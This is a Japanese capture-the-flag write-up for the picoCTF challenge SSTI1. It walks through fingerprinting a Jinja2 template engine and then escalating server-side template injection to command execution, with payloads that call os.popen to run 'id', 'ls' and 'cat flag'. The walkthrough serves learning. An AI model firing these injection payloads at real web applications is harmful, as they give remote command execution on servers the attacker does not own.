picoCTFのSSTI1の問題を解説します。
テンプレートの脆弱性を突いた面白い問題だったのでどのように考えていくかについて調べたものをまとめます。
回答
入力欄に
{{ self._TemplateReference__context.cycler.init.globals.os.popen(‘cat flag’).read() }}
を実行し返ってきたflag情報
どうやってここまで行きつくのかを辿ります
思考の道筋
まずは入力欄に対して計算が成り立つのかを調べます。
Server Side Template Injectionで調べるとPortSwiggerというサイトがヒットします。
この中でテンプレートエンジンの見分け方の図があるので参考にします。
https://portswigger.net/web-security/server-side-template-injection
より引用
計算された結果が得られなかったので赤線を辿ります。
{{7*7}}
を実行します。
すると49という計算された結果が得られます。
そこで次は{{7*'7'}}がどのように結果として返されるのかを調べます
結果は7777777となりました。
Jinja2は7777777を返しTwigは49を返すことが画像の元記事には書かれていました。
そのためこのテンプレートはJinja2を利用していることが判明しました。
続いて
jinja2 server side template injection と調べます
OnSecurityというサイトがヒットします。
読み込んでいくと
{{request.application.globals.builtins.import('os').popen('id').read()}}
というコードがあるのでこのコードを実行してみます。
するとルートであるという情報が得られます。
{{request.application.globals.builtins.import('os').popen('ls').read()}}
次はidの箇所をlsに変えます。
これでlsコマンドが実行され、flagというデータがあるのがわかります。
{{request.application.globals.builtins.import('os').popen('cat flag').read()}}
flagの中身のデータを知りたいので今度はcat flagに切り替えます。
これでflagの答えが得られます。